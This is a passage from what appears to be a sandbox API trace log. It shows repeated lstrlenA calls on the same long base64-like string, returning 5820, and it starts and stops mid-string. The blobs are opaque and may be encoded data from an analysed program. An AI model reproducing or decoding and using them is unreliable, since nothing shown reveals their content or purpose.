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") returned 5820
	[0084.638] lstrlenA (lpString="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") returned 5820
	[0084.638] lstrlenA (lpString="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") returned 5820
	[0084.638] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo2TkHT8ySR6oeXfx5G/dPoYGw0W/BbRt/FF+aDwhkPvm9+vOjG7iVDNfexVNq7UHQpnaQu+KVdqxmFJUSgzefnKAkopFbcluxFXgozk2XKWNas7wqfKMWrt0IXEG2UhkLtrcd8p4JNBmNqsDijqc8ALYZwzFDKsVsrg5DzyIluyLMxG/TiakC/pBHkQ3RiZ5uvTydxtAD8n2yavcm0Kj5Fss82FGu+kBj35uhx4I7jDj20EwFB1Ph4M9k3/dFx0YXyk1S1gQrIGrnhCrb8U2+Y6YuqAXd/TbsXCLPz9ePTE+Lqet+H5JFdFbR/LgKR/IrZ2OCq8vHmPXkVd339xwOXS1LYNQ/jTiEw9ocs8XSfQiiF1lKyts17dW19MUzq2agefI4iBUvirUCPiXVKqgwmGHTfYJg3onDGZ9lzaQ1RMkYofNEg+olX5fvoOPf+IqVeOZsy/rodl5tiysKtgobARxKzixyeJxR+SpMjZcZWB542juT392bZxWTKtGybGXBkYhfLbJYtGZhTwVKm918Lbl4WHTx5nAxeuSpRATmqdBuNX/I8LPd0qeMmlCokyBRhNxYw8V4rBPQxlUDYvFC43eGey+eolIizMw2UpNe1K/hK6yaHl0PbqZLI4FBSppDbwXGbNvKyrby6gDVhdz529Co4/9gjezuRA5hzjEesWKRHwXz6Nkg1rXN2q+I5vEBk5Vm3